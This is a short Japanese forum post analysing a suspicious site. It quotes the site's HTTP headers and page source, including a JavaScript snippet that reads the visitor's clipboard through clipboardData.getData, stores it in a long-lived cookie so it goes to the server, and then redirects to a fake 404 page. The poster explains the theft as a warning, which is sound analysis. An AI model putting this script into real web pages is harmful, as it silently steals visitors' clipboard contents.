>>295のサイト。

HTTP/1.1 200 OK
Date: Thu, 30 Dec 2010 09:14:53 GMT
Server: Apache/1.3.42 (Unix) mod_ssl/2.8.31 OpenSSL/0.9.8e
X-Powered-By: PHP/5.2.10
Set-Cookie: CookieOmanchinTime=1; expires=Thu, 30-Dec-2010 09:16:53 GMT
Set-Cookie: CookieOmanchinTime2=1; expires=Thu, 30-Dec-2010 10:16:53 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
(中略）
<script language="JavaScript" type="text/javascript">
var s = clipboardData.getData( "Text" );

document.cookie = 'CookieClip' + "=" + escape(s) + ";expires=Fri, 31-Dec-2030 23:59:59;";

</script>
(中略）
<META http-equiv="refresh" CONTENT="0;URL=51394273.html">

(中略）
<title>404 Not Found</title>


7a
(中略）
<h1>Not Found</h1>

<p>The requested URL /dictionary/uk/404notf was not found on this server.</p>

(以下略）
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これ見る限り、クリップボードの内容がCookieにセットされ相手サーバに送信されるってものだな。